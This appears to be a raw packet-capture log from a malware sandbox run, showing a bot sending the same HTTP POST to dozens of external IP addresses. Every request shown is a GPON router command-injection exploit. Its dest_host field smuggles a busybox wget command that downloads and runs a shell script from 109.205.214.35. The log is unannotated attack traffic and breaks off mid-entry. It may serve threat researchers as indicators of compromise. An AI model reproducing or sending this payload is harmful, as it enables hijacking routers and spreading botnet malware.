Mar 21, 2024 05:23:08.686382055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.13	44428	212.89.152.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686391115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.13	36042	212.189.164.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686400890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.13	47656	42.86.24.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686458111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.13	36094	5.127.114.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686475039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.13	40410	42.44.235.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686536074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.13	48448	109.193.178.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686538935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.13	47304	42.148.192.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686558008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.13	56336	5.11.110.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686614990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.13	54680	212.226.172.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686640978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.13	52076	109.223.105.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686650991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.13	60678	212.236.151.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686681032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.13	47350	5.173.218.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686712980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.13	55262	212.137.9.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686737061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.13	35684	5.252.232.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686743021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.13	43332	212.178.145.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686810017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.13	40538	42.183.165.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686810970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.13	51466	118.21.74.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686830044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.13	46074	212.223.120.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686856985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.13	40652	109.38.253.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686863899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.13	59442	42.5.163.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686913013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.13	33122	109.228.232.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686929941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.13	59776	118.195.209.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686949015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.13	46508	118.75.156.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.686964035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.13	55432	5.240.13.90	443

Timestamp	Bytes transferred	Direction	Data
